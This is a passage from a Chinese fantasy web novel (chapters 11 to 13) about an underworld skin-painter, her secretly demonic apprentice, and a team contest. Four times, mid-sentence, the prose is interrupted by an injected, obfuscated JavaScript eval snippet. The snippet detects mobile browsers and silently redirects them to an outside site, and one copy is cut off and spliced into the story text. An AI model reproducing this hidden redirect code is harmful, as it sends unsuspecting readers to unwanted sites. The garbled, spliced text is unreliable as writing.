百灵大惊失色,拉住周延玉的胳膊拼命向后拽,想逃离这个随时可能爆发的修罗场。 可胳膊的主人纹丝不动。 周延玉扭头,下颌绷得很紧,额头青筋凸起,冷若冰霜的眸子落在百灵无助恳切的瞳孔中。 完了啊。 要不是在众目睽睽之下,百灵相信周延玉会不假思索掐断她的脖子,像瞬杀王二铁那样毫不留情。 气氛降至冰点,一触即发。 他们身后还有人在排队,已经陆陆续续有人抱怨,人群也开始蠢蠢欲动,躁动不安。 百灵肠子都晦青了,从没料到事情能发酵到这般不可控的地步。 “你们先吧,真不好意思。”百灵转移目标,对着身后排队的人边招呼边殷勤道,“你们快登记吧。” “等等……”白夭夭完全沉浸在了自己的世界里,果断伸出一只手,将试图上前的人挡住,再次将矛头对准周延玉,“这的事还没完呢。” “不要耽误大家时间了,明白吗?”她敲敲桌子,咄咄逼人道。 百灵有些绝望了,这两个人没一个随她心意的。 “怎么回事?吵什么呢?” 洪亮浑厚的粗粝男嗓,伴随着铿锵有力的脚步声愈来愈近。 是个浑身充满肌肉的壮汉。 场面乱成一锅粥了。 “大虎,这个学徒是个骗子,把他撵走吧。” 白夭夭不客气对他发号施令。 她知道大虎一定会听,这大块头平时没少给她献殷勤,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719260|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一般不领情。 喜从天降,大虎本是听到动静来看看发生什么事,没成想给了自己在喜欢的人面前表现的机会。 他狗腿子般执行夭夭的指令,气势汹汹,抬腿向着周延玉位置移动。 百灵眼疾手快,冲到周延玉跟前,张开双手挡住他。 她知道眼下小骨已经气疯了,再不给自己挽回点好印象,恐怕真会被小骨一气之下解决了。 谢天谢地小骨没有同她信中设想那般同夭夭正面对峙,否则夭夭也要被无端牵连。 大虎根本不把她放在眼里,阴笑一声,揉揉手腕,又将指节捏的咔咔作响。 他在威胁百灵。 眼见大虎步步紧逼,百灵脑中一片空白,身体却比思考更快一步,猛地张开双臂挡在周延玉身前。 百灵并不清楚小骨真实实力,但她莫名觉得对付这人小骨绰绰有余。 因此她选择赌一把。 “我看谁敢动他!”百灵怒吼一声,气场全开,定定注视大虎布满凶光的双眸,坚定不移。 这一嗓子太过掷地有声,甚至还有余音回荡。 她和大虎的体型差巨大,颇有些以卵击石,孤注一掷的悲壮感。 周延玉盯着她因呼吸上下起伏的发旋,内心五味杂陈。 她又在整什么幺蛾子,这么弱小到底哪来的胆子来保护他。 附身在王二铁身上那种不入流的下等妖怪都得把她吓破胆,当下这个妖怪显然更具危险。 “你是我的人,我会罩着你的,相信我。” 鬼使神差的,识海中竟没由来飘过这句话。 真是疯了。 他应是气地失去理智,不然怎会联想到此。 同样心绪剧烈起伏的不止他一个。 白夭夭如梦初醒。 亲眼目睹百灵不顾一切冲到周延玉面前时,她只觉脑中“轰”的一声,有什么东西坍塌了。 她心中闪过无数个疑问如蛛网般紧紧缠绕,可她现在却无比清醒一点。 百灵很在意这个学徒。 甚至不惜为了这个学徒对大虎公然叫板。 如果是她呢?如果一模一样的情形,换成是她,百灵还会这么义无反顾吗? 白夭夭不敢细想,她害怕,害怕答案不是她心中所想,她承受不起。 心中杂念柳絮飘零般纷飞,直到她撞上百灵的视线。 这是一道专属于她的视线。 无可奈何,亏欠愧疚,真切恳求种种情绪交织,混杂在她漆黑的瞳孔之中。 白夭夭只读懂了她的恳求。 “大虎,算了。”白夭夭语气冷得可怕,“让他们走。” 大□□虎难下,他虽想听白夭夭的话,但感觉临阵脱逃的行为有损面子。 可仅一息之间,他这个念头登时烟消云散。 霎那间,他周身被一道自上而下的强大气压笼罩压迫,仿佛有双无形的大手按住了他的命门,顷刻间逼得他呼吸困难,胸膛猛烈波动摇晃。 起码在百步内,有一个实力强于他百倍的妖,并且想置他于死地。 顾不上什么面子和尊严,他急剧呼吸几次,捂住闷痛的胸口落荒而逃。 危机解除,百灵如释重负。 只是这叫大虎的汉子反应也忒大了点。 担子卸得太快,她腿一软,一时没稳住平衡。 周延玉自背后单手撑住她的脊背,帮她扶正了身子。 他第一次发现,百灵很瘦,瘦到可以隔着衣料直接摸到脊骨的形状。 指尖无意识摩挲两下,随即便烫手山芋般慌张撤开。 百灵早就借力站稳脚步,因而并未受到他这动作的影响。 嗯……愿意主动扶她,力道还挺轻的,应该不生她的气了吧? 戏没白演。 11. 第十一章 深夜,幽都忘川河畔。 墨色天穹低垂,明月高悬,落下的清辉衬得忘川河破光粼粼。 河边生长着妖冶的彼岸花,夜风吹拂下,飒飒作响。 一高一低两道身影隐匿在黑暗的树影之下。 “君上……”略高的身形颤抖着声线,哽咽道,“你怎么沦落到这样一副身体里……” 他曾亲眼见过周延玉狩猎,动如苍鹰搏兔,玄色身影快得只剩一道残影,利爪精准扼住猎物的咽喉,一击毙命。 那份融于骨血的狩猎本能与绝对力量,曾是他仰望和追随的全部。 可如今却被禁锢在一副阴柔女相的躯壳之中。 “说来话长。”周延玉语气从容,冷静道,“越过结界时肉身没了,但骨架还在。” “那骨架呢?可还能用?”卫影急切追问。 他的遭遇和周延玉很像,只不过他的骨架被结界毁地差不多废了,无奈之下他随地捡了一具不那么完整的身体。 “可是可以,但需要时间重塑肉身。” 周延玉不打算提到百灵这个弱小的鬼,毕竟他们之间的交易说出来并不光彩,有损君威。 “重塑肉身……”卫影凝眉垂眸,神情若有所思,喃喃重复道。 话音未落间,他茅塞顿开,眉头赫然舒展,张口道:“所以君上你也找了一个画皮师吗?” 周延玉不想开启这个话题,可他听到了“也”…… 什么意思,卫影也是别人的学徒吗? 记忆翻涌,卫影畏手畏脚的模样浮现眼前。 好歹自己没那么卑微,也算挽回了点面子。 他的沉默,让有着同样猜想的卫影不敢说话了。 难道是真的,君上和他一样…… 都是别人的奴隶吗? “是那画皮师硬要用我的骨架画皮,还要听取我的建议,我见她手艺不错,便给她一次机会。” 真话掺着假话一起,周延玉说得脸不红心不跳。 闻言,卫影松了口气,转而笑道:“能为君上画皮,那是她的荣幸。” 周延玉颇为满意他的反应,反问道:“你呢?是怎么回事?” 刚扬起的笑容凝固在嘴角,卫影哀叹几声,轻启双唇道:“我自己捡了一具残缺的身体附身,后来遇到了一个画皮师,主动好心给我补全身体。” “补全身体活动自如后,我本想感激她,谁知她突然变了副面孔,要我做她的学徒,还有随叫随到的仆人,否则她就要毁掉我的身体,还要去举报我可疑的身份。” 卫影越说越难过,从小也是天之骄子的他何尝受过这种委屈,就是周延玉也不会对他提出这样不讲道理明摆着欺负人的要求。 “所以她还不知道你是妖,对吗?” 周延玉从一大段诉苦的话中,精准找到了自己的关注点。 卫影并不介意周延玉的冷漠,立刻点头回应。 自从宋清河身体力行威胁他之后,他不敢泄露一丝妖力,干苦力活是也都是依靠蛮力,宋清河也从未对他有过怀疑。 “很好,继续保持。”周延玉轻轻颔首表态。 “我会的君上,还有别的指示吗?” “你多关注关注身边有没有其他可疑的妖怪,我今日已经在芜月楼发现了一个。”周延玉表情逐渐变得严肃。 那个名叫大虎的人,竟然能在冥界行事如此嚣张跋扈,背后定有不一般的背景。 而且还不是什么强大的妖怪,是他在妖界碰上都不屑于出手的那一类。 就是交给卫影,也能速战速决。 要解决的疑团有很多,所幸现在多了个信得过的帮手。 周延玉交代叮嘱他盯紧大虎,随即才问到妖界之事。 这是他们这次碰见周延玉最迫切想知道自己事,他本想等卫影主动告知,但他似乎忘了。 “君上,我还想问你呢……”卫影诧异道,“那日我发现你不在寝宫之时,立即动身去寻找,半路却被偷袭,逼到了结界处,迫不得已穿过去了。” 周延玉视线下移,停至虚无一点,拧眉踹想。 看来这是一次计划精密有备而来的暗杀。 幕后主使的野心很大,权力也许仅次于他。 心中悄然现出一个熟悉名字。 周玄玉,他同母异父的哥哥。 只是原因他暂未想明白,因为他们关系不算糟糕,无冤无仇,自他即位以来哥哥也尽心尽力辅佐,从未有过愠色。 为避免打草惊蛇,周延玉没有说实话。 “近来妖鬼两界动荡不安,我是特意来此探查一些事情,时机到了会回去的。” 卫影对他的话从来深信不疑。 临走时,周延玉特意叮嘱卫影不要再称呼他为君上。 “那该叫什么?” 卫影眼底一片迷茫,总不能直呼其名吧。 这个问题难倒周延玉了,他不是个擅长取名字的人。 “小骨……” 少女脆生生的声线就这么猝不及防闯入他的识海。 挣扎许久,周延玉妥协了,虽有些荒谬,但起码保险。 谁会想到妖王的化名是小骨呢。 卫影大惊失色,有那么一刹那以为自己在做梦。 可周延玉一脸正色吐出这两个字时,他根本不敢反驳。 还不如直呼其名呢…… …… 百灵刚从街边的画皮铺子采购了比试所需的材料出来,就发现小骨不见了。 无所谓了,他总是这样神出鬼没的。 她没打算去找人,她也不担心小骨会找不到她。 小骨是个嗅觉很灵敏的妖怪,记得她的味道,可以通过独一无二的气息找到她。 她曾好奇打探,但小骨从不透露自己是什么妖。 比起操心小骨,她更烦自己今晚的落脚点。 本来说好和夭夭同住,可她找上门去,却被其他人传话说夭夭不见人。 她也不好意思硬着头上,想必夭夭心中有气,不愿见她也是情理之中。 不幸中的万幸,最后的张贴出来的参赛名单上还是有她的名字,看来夭夭最后还是读懂了她的心思。 等过几日她气消再去找她谢罪吧。 夜晚的幽都依旧人来人往,百灵独自一人穿梭于人群之中,走的很迷茫。 “百灵?” 有人突然从身后叫住她。 百灵愣神片刻后,缓慢转身。 这幽都何时能有认识她的人?还是这般好看的人。 一张面容清丽,不施粉黛却肤光胜雪的女子静静凝视着她。 清醒脱俗的气质,在淡淡月光映衬下,好似落入凡尘的仙子一般。 百灵越发迷糊了…… “我叫宋清河,和你一样参与比试的画皮师。”宋清河自报家门道。 “哦,我是百……”百灵还在状况外,说出名字时才倏然意识过来,“你怎么知道我是百灵?” “白日里你那么高调,不想知道都难。”宋清河露出一抹戏谑的笑容,开门见山道,“长话短说,我想和你组队合作参与比试。” “比试?”百灵讶然张开下巴,“需要组队吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719261|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯。”宋清河一脸了然模样,“我提前拿到了规则说明,最早明天就会放出来,你不知道很正常。” 百灵垂眼,若有所思。 “如果你想的话,也可以是关系户。” 叶知舟,你怎么没料到我还可以去投靠别的关系户呢? 既然连规则都可以提前泄露,就不是什么公平公正的比试,她何必固执坚持旧秩序。 “我答应你,和你组队。”百灵欣然应允。 “不过我很好奇,你为什么会选我?”她继续道。 “因为你看起来像是个信得过的人。” 宋清河直言不讳。 那么护犊子的人可不多了,学徒说白了就是个帮工,可百灵竟愿意为了学徒和芜月楼作对。 不明真相的宋清河尤其佩服百灵的勇气。 当然了,她还看上了百灵的平民身份,她才不想和那些没有真才实学的关系户一起组队。 百灵扶额苦笑,真是意外的收获了…… “那个…”百灵有些难以启齿,咽了口唾沫道,“你有住的地方吗,我……” 实在是囊中羞涩,无法再透支了。 宋清河一眼看破眼前人的窘迫和诉求。 “当然,我住的地方很大,你和你的学徒都可以来。”宋清河颇为大方邀请道。 “真的吗?”百灵内心欢呼雀跃,愿望原地实现,她晕晕乎乎,觉得顺利的不太现实。 “嗯嗯。”宋清河肯定回应道。 “我可以给你打扫屋子,绝对不会打扰到你的。” 百灵眼里亮晶晶的,小狗一般真诚感激道。 “那倒是不必,交给我的学徒去做就行。”宋清河悠悠道,“我正好缺一个伺候我沐浴的人,我看你来正合适。” 她要求提地无比流畅,一点不带客气的。 百灵哑然。 从沉默到接受,她只思考了几秒。 都白住了,当丫鬟服侍一下宋清河又如何。 理所当然,合情合理。 只是宋清河语气太过自如,把她震住了。 “还有一件事,我这个学徒不会画皮,他只是个干苦力活打下手的,但脑子还算机灵,听得懂人话。” “……” 百灵瞳孔骤然缩小,为掩饰震惊又迅速转移视线看向别处。 这回是真的没话说了。 千万别告诉她,只有她一个人能行的。 二拖二勉强接受,一拖三实在太强人所难了。 “那到时候我也需要给你打下手吗?”百灵小心试探道。 “不用啊。”宋清河微怔,而后反问道,“你难道不会画皮吗?” “不不,我会的。”百灵忙否认,接着问,“我的意思是,你需不需要我的帮忙?” “既然是组队赛的话,那应该是互相帮助吧,也说不上谁帮谁。” 太好了。 百灵心中松了一口气。 保险起见,她并没有过多交代小骨的事,生怕宋清河反悔,搭上一个脾气又差又没什么手艺的学徒。 并肩行走的路上,百灵忽而想起些什么。 “等等,我还有行李在寄放在芜月楼……” “没事,我等会儿让卫影给你去取。” “可我行李还挺重的……” “无妨,他力气大。” 又是一个力气大的学徒啊…… 怎么说也只是一个普通的鬼,肯定不如小骨轻松,还是自己也去搭把手吧。 毕竟卫影不是自己的人,还是不要太为难的好。 12. 第十二章 芜月楼阁楼内,月光从窗口洒下,照出床榻上翻来覆去睡不着的人。 忙碌了一整天的白夭夭按理来说早就该睡着了,可此时的她脑中思绪纷飞,在床上辗转反侧。 上床之前她一直在等,等百灵来找她,可是连她的人影都没见着,甚至连一句话也没等到。 明明说好了要一起住的,为什么突然失约? 还有原来她早就被内定了,参加学徒组的画皮比试,为什么不告诉她? 说好要一起做戏给那个学徒看,为什么又临时出尔反尔? 白夭夭心中的疑云像一团解不开的棉絮,牢牢包裹住她的心绪,堵的她无法安眠。 她清楚地知道百灵身后没有什么背景关系,所以内定这件事情一定和叶知舟有关系。 难道是她知道自己讨厌叶知舟,所以选择隐瞒吗? 可是她选择和叶知舟这种人合作,就不怕被他做局吗? 她的内心无比纠结,五味杂陈。 一方面,对百灵的隐瞒还有对学徒的偏袒,她心有怨气。可另一方面,她又下意识为她担心。 “唉……” 白夭夭烦躁地坐起身,目光落在窗外那轮与当年无异的明月上。 就是这样的夜晚,她半个脑袋耷拉着,第一次看清了百灵的脸。 大概是在两年前,那她只有15岁,却已经有了独自生活闯荡的丰富阅历。 但人总有倒霉的时候,她本靠着街头卖艺杂耍,帮人传递消息维持生活,但是很快她被人盯上,偷走了所有的家当。 走投无路,她选择了去当扒手。 靠着小偷小摸勉强生存,幸运的是,她很擅长于此,从来没有有过失手的时候,因为偷的东西也不也不贵重,所以事后也不会有人死揪着不放。 可常在河边走,总有湿鞋的时候。 再一次深夜行窃过程中,她被人当场抓住,那人尤为粗暴,争斗过程中,她的脑袋被直接削下来一大块。 当场她就晕了过去,再次醒来的时候,第一眼看到的是百灵。 她看起来很疲惫,可是一见到苏醒的自己,就立刻笑了。 “她醒了!” 她听见她兴奋地说。 还从来没有人这么关心过她的生死。他生前是被抛弃溺死的女婴,死后来到冥界,也无任何亲人朋友。 “看起来还不错,等过几日恢复了,再搞顶假发戴上,估计和个新脑袋没什么区别。” 百灵轻轻移动她的头,认真地查看。 这是百灵第一次尝试修复伤的如此之重的身体,她既紧张又激动,害怕自己不行,但好胜心迫使她上手为这个倒霉的小偷亲自修补。 白夭夭也瞬间明白了,眼前这个人是个画皮师。 “百姑娘,我话说的不太好听,你可别介意……” 她眼珠一转,瞥见百灵身侧一个体壮的络腮胡大汉。 想起来了,昨天晚上就是和他打起来了,脑袋也是被人给削的。 “这是个小偷啊,那伤着了也是活该!你说你给这样的人画皮传出去了,对自己的名声可不好啊……” “……”白夭夭强撑起来的眼皮又重重闭上,她想用这种掩耳盗铃的方式屏蔽自己。 可是她又忍不住期待听到百灵的回答。 “她是个小偷,可是她罪不至此。”百灵的语气很认真。 “你说说你,怎么还同情起一个小偷来了?”络腮胡大汉不解辩驳道。 “我没有同情她。”百灵叹了两声,“只是觉得大家都不容易,何苦要为难彼此呢?” “如果说因为偷了东西,就要失去半个脑袋,从此没法见人,那这样的惩罚也太重了。” “而且你自己也承认了,昨晚你发现有小偷的时候,她第一时间就丢下你的东西逃跑了,可是你却穷追不舍,非要给她点教训。” 百灵本来不想把话说得如此直白,她昨晚单看这个伤口就知道,若不是白夭夭偏头躲过,失去的就不是半个脑袋,而是整个脑袋。 后来她还发现,这个小偷也不是想偷走什么宝贵的东西,只是想拿一个吃剩冷掉的饼子。 络腮胡被说的有些破防。 “你这女人,我好心提醒你,你倒开始教我做事了。你等着看吧,等着看这个人有没有钱给你,忙活了一晚上还不是白干。” 百灵不语,从她决定的一开始就没打算问她要钱。 因为画皮是一桩买卖,双方同意了才能进行,一般来说,也会先付定金。 她也不认为把白夭夭能拿得出这笔钱,只是她不愿意放弃这次练手的机会。 但她不会承认,因为络腮胡绝对会拿这件事情大说特说,然后再理所应当白嫖自己。 “这是我的事,不劳你操心了。”百灵淡淡道,“请你记得把剩下的钱给我。” 络腮胡吃瘪,脸色不大好看。 百灵深知趁热打铁的重要性,在她的强制要求下络腮胡才把余下钱给了她。 她担心络腮胡会拿白夭夭出手报复,走的时候把她也带上了。 白夭夭虽全程闭眼,但是旁听了一切。 她其实很少去相信一个人,也不敢去相信,但或许是受伤之后的她太过脆弱,只想找一个可以依赖的人。 而这个人,就是将她百灵。 然而百灵却拒绝了她,拒绝了她想要留在自己身边的请求。 原因很简单,她不是什么大圣人,做不到无缘无故收留一个人,而且她更希望白夭夭能有一份可以养活得起自己的正经工作,而不是宠物一样守在她的身边。 所以她来到了芜月楼。 从回忆里醒来,她也坚定了自己的想法。 一定要找个机会向叶知舟问清楚,他到底想干什么?对百灵又有什么图谋? 随之少女的呼吸声逐渐平稳,一团不起眼的微弱魂火从白夭夭门前悄然飘走。 …… 芜月楼门前,卫影气喘吁吁把百灵所有的行李全部拖了出来。 他忍不住在心中咒骂宋清河,真把他当牛做马使唤了! 大半夜要他来拖什么行李,累死他算了。 还有这人怎么带这么多东西,搬的时候还噼里啪啦的,搞得他全程小心翼翼。 宋清河不在身侧,他不用做表情管理,也不用顾忌谁,对着这一堆的行李自言自语抱怨了许久。 等行李的主人赶到时,他还是摆着一张臭脸。 百灵是个很有眼力见的人,在卫影还没转过身面对她时,她就已经觉察到情况不太妙。 “真不好意思,让你给我搬这么多东西。”百灵上前悻悻道,“宋小姐非要我留下给她洗头,所以我才来晚了。” 卫影身边已经许久没有说话如此客气礼貌的人。 以前伺候宋清河洗头也是他的事,不过宋清河不是嫌弃他下手太重,就是抱怨他把水溅到她眼睛里去了。 他虽说不是什么细心的人,但也不至于如此笨手笨脚,有的时候他就是故意的。 现在多了个人替他分担伺候宋清河的活,人感觉也挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719262|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和善的,起初搬运行李的气也消了些许。 卫影转过身,脸上因用力搬货而泛起的红潮还未完全消退,他深吸一口气,努力让声音听起来平稳:“无妨,小事情。” 目光触及卫影面容的那一刻,百灵瞳孔震颤,原地石化般彻底愣住。 他看起来好眼熟啊…… 他们确实在此之前有过小小的交情,但是是当时周延玉将卫影挡在身后,百灵并未看清卫影的脸。 这种扑面而来的熟悉感和亲切感不是错觉。 百灵很快就反应过来,卫影和她曾经爱描摹的一张脸很像。 其实她画过无数张皮,但是每隔一阵子,她都会专注一种风格,像卫影这种谦谦君子,白玉无瑕的形象就是她曾经特别迷恋的一种。 “恕我冒犯。”百灵恢复正常脸色,出口解释道,“你长得特别像我……记忆中的一个人,所以我一下子没反应过来。” “……” 此番话落,卫影也被震住了。 但他的震惊和百灵所不同。 百灵是惊喜,他是惊恐。 当初越过结界丢失身体的他,打听到黄泉路边的乱葬岗会有人丢下不要的身体。 于是他欣然前往,发现了一张只剩下半张脸的残缺身体。 从仅剩的半张脸推测,此人生前模样不错,只要找人照猫画虎的补全即可。 他果断附身,再后来就遇上了宋清河。 她认识这张脸的主人吗?那他隐藏的身份是否会被识破? 她这样说,是在试探自己吗…… “我脑子被重修过,记性不太好了。”卫影捂着脑袋道。 “你记忆中这个人是个什么性子的?也许是我哪个失踪的兄弟姐妹也不一定。” 现在难题抛给了百灵。 她总不能说是她自己那阵子话本看多了,很喜欢这一款类型因此疯狂脑补画皮吧。 “嗯……”她凝眉苦思,胡编乱造道,“是个顶好的人呢,脾气很好,还很心善,经常主动替人做事,还不要回报。” 闻言,卫影松了一口气。 他现在对宋清河不就是这样吗? 打不还手,骂不还嘴,呼之即来,用之即去。 他只需继续保持即可。 “说起来你可能不信,我也常听人如此议论过我。”卫影为了和百灵描绘的那人更贴近一些,大言不惭道。 “是吗?”百灵的语气微不可查上扬了几分,忍不住笑了,“我学徒她脾气有点暴躁,以后还请你多多宽容一下。” 作为一个四人团队,不能有三个都不好惹的人,那么剩下那个人会很可怜。 幸好幸好,卫影相由心生,是个大善人。 “大善人”卫影心里咯噔一下。 哪来的学徒脾气那么大的,而且同为学徒,凭什么他就过得那么惨…… “她叫小骨,是个孤儿,我看她可怜收留她做我的学徒,明天你应该就能见着她了。” “她虽脾气不大好,但不是坏人的……” “而且她和你一样,力气也很大的,想必你们可以合得来。” “早知道我应该让她也来帮忙的……” 从百灵口中念出“小骨”的名字时,卫影就已经听不进她后面说的话了。 不是君上吧? 是巧合吧…… “是那画皮师硬要用我的骨架画皮,还要听取我的建议,我见她手艺不错,便给她一次机会。” 不可能,绝对不可能,不是君上! 13. 第十三章 画皮比试第一场的规则放出来了,初试是需要组队协作的比赛,两个画皮师为主,加上学徒就一共是四个人。 这场比试规则是:团队需要在有限的时间内修复好抽取到的身体有残缺的鬼。 虽然没有具体透露出需要修复的数量,但肯定不少,不然也不会需要团队协作来完成。 为了确保团队能配合妥当,比试能顺利进行,宋清河特地邀请百灵到她房间商量对策。 顺便服侍她沐浴。 宋清河差遣卫影替她打了一大桶水到房间的浴桶中,然后点燃熏香炉,在温水中滴入香露和花瓣。 不多时,房间里便烟雾缭绕,水气氤氲。 水面上浮着新摘的玉兰花瓣儿,百灵垂手试试水温,水波荡漾,激起一股清甜幽香,与角落熏笼里逸出的沉香纠缠一处。 宋清河可真是个讲究人,洗个澡如此费劲,这房间香烟弥漫,仿若天界仙子的居处。 水温差不多合适,百灵仔细搀扶着宋清河进了浴桶。 宋清河未着寸褛,但全无忸怩之态,反而是百灵视线飘忽不定。 她虽未画皮师,无论女子男子的身体她都了如指掌,可是真人的身体她从没如此真切的看过。 有温度,会动的活物,再栩栩如生的假人也比不上。 “累了几日,终于能好好泡个澡。”宋清河坐在浴桶中享受道,“先给我揉揉肩吧。” 百灵依言,提手抚上她的肩颈处。 宋清河不愧为千金大小姐,肤白如雪,而且手感细腻滑嫩。 轻柔按压、揉捏中,百灵忽然领悟了那句“吃人豆腐”的含义所在。 常年干活使得她的手上覆有薄茧,和指尖白嫩的皮肤触碰,感官更加突出。 宋清河微眯起双眼,像只餍足慵懒的小猫。 “对于比试你有什么看法?” 全身心的放松后,宋清河渐入佳境,开始切入正题。 “从这比赛规则来看,到时留给我们的时间应该很紧迫,我认为我们需得取长补短,每个人发挥自己的擅长之处,提前分工,届时只需盯紧自己的部分。” 百灵边按捏边认真分析道。 “嗯。”宋清河轻哼一声,同意了她的看法,顺势继续问道,“你可有什么擅长之处?” 作为一个全面发展的六边形战士,百灵几乎没有短板,只有不想干的麻烦的活。 “我擅长打基,尤其对于那种缺胳膊少腿的,我可以很快捏出一个大致的形状,只是后续还需润色。” 很显然,她在暗示宋清河来做更细节一点的润色和精加工的工作。 “那我来润色吧。” 百灵歪打正着,正和宋清河之意,她画皮是瞒着家人偷偷学的,所以一直以来都是对于小部位进行学习。 “卫影的话,我这几日教过他一些基础的手艺,我会让他给我打下手帮忙,把简单的像上色抛光交给他去做。” “你那个什么骨来着,她能干什么?” 该来的终究还是会来的,百灵就知道宋清河要过问小骨。 “小骨她......留在我身边的时间也不长,平常都是负责在画皮师给我检查有无遗漏。” 百灵本想撒谎,可想想不妥,上了场几斤几两明眼人一下就瞧出来了,得不偿失。 “你的意思,她是个监工啊?”宋清河戏谑轻笑一声。 对,太对了!不仅是监工,还是个丧心病狂的自大门外汉监工! 强压住想要附和的念头,百灵装作一副为难的态度,缓声解释道:“不是的,不瞒你说,只要小骨在我身边,我的干活速度能比平常快上好几倍,大概是她总喜欢催我的缘故。” 到时求求小骨借几分妖力,那效率肯定远超他人啊。 “还有这样的事?” 宋清河大为不理解,但还是选择了接受。 “你自己看着办吧,总而言之,他不能托我们的后腿。” “那肯定的,我保证!”生怕宋清河反悔,百灵当即承诺。 没办法,她可离不开宋清河这个关系户的支持,还有这个单人单间的大房子。 同样的,宋清河也舍不得按摩手艺这么好的百灵。 以前家中的丫头许是怕按疼了她,那力气跟个小鸡仔没差别。 反观百灵,不仅力道适中,而且还有特殊的粗粝沙感,酥酥麻麻的,简直不要太舒适。 “再给我按按背后,我的手够不着。” 宋清河不等百灵回应,径直坐起身,露出一大片光洁的脊背。 手中柔软温热的触感消失,百灵瞳孔地震,幸而眼前人是背对她的,不然定要嘲笑她这窘迫神色。 “快啊。”宋清河扭了扭身子催促道,“记得抹上澡豆。” 水珠儿沿着凝脂般的肌肤滚落。百灵深吸几口气,取了盛在荷花瓷碗中的澡豆膏子,在掌心细细揉开,逐渐泛起细腻白沫。 她隔着浸湿的沐巾,极轻极柔地拂拭宋清河的臂膀、脊背。指尖力道恰到好处。 没有意想中的温热手感,宋清河不满嘟囔两声,让百灵直接上手。 纠结几下,百灵还是换上了双手。 宋清河舒服得发出猫咪的哼唧声。 “你要不要也试试,明日我让卫影也给你打桶水,你可以用我的浴桶。”宋清河热情邀约。 “不用了。”百灵果断拒绝,“我是个粗人,用帕子随意擦拭身子就够了,不用这么讲究的。” 其实她更害怕,万一宋清河一时起意,要给她按摩,那她可不好意思。 “好吧,那只能我一个人享受了。”宋清河抬手带出一串水珠,喉间溢出一声夹杂几分惋惜的淡淡轻叹。 一炷香后,热气褪去,宋清河擦干身子,穿上单薄寝衣,结束了沐浴。 临走时,她似乎想起什么,叫住了百灵。 “你等会出去帮我叫下卫影,我有事吩咐他,让他在门外等着我。” “好。”百灵应下,而后又问道,“我应该去哪里找他?我来时他就出去了。” “出去了?”宋清河柳眉一挑,皱眉道,“可能和你学徒在一起也不一定。” 百灵心下一惊,他们俩这八竿子打不着的人怎么可能在一起,卫影倒是个好相处的,可小骨也不是那种爱搭理人的性子。 “你不知道吗?”宋清河察觉到百灵异常神色,歪头道,“他们俩是旧时。” 起初宋清河只是怀疑卫影和小骨之间有关系,不然怎么在大庭广众之下深情对望。 因为宋清河和百灵的合作,使得这两人第二次猝不及防的见面,宋清河留了个心眼,默默看见卫影强壮镇定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719263|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有另一人假装从未见过卫影的表现。 她更加确信这二人之间有猫腻,肯定是什么见不得人的关系。 “怎么可能?”一波未平一波又起,百灵想破脑袋都不知这二人能有什么联系。 “在街上之前,我们就已经见过了,在芜月楼前,只不过我带着帽子,你不知道是我而已。” 宋清河这么一说,死去的记忆立刻醒来,百灵想起了那时的一切。 虽说她没看清宋清河的样貌,但她带着帏帽,人群中也是格外突出,一下便记住了。 “小骨跟我说,是你们吵架声音大,吵到她了,所以她去劝架。” “哈哈哈——”宋清河被小骨想出的理由给逗笑了,“明明是她自己先送上门来的,而且目的明确,一看见卫影就一动不动了。” “卫影就更夸张了,我看要不是我在身边,他早就哭出来了。” “......” 信息量太大,百灵大脑飞速运转,试图理解这背后的秘密。 是妖,卫影也是妖。 他们是同类。 小骨是为了掩饰同类的身份,所以才对她隐瞒的。 脑海中蓦地闪过卫影那张熟悉的脸孔,那眉骨的弧度,鼻梁的线条,分明与她当年痴迷练习时,反复描绘的谦谦君子模板如出一辙,真的只是巧合吗? “宋小姐,请问你第一次见卫影时,他就是现在的样子吗?他有没有什么变化?”为了验证自己的猜想,百灵急切询问道。 宋清河虽不明白百灵的脑回路怎么跳跃到这里,还是如实答道:“不是的,我第一次见他时只有半张脸,身体也不完整,是我帮他修补完整。” 果真!这世上才没那么多的偶尔和巧合,卫影的初始脸就是出自她手。 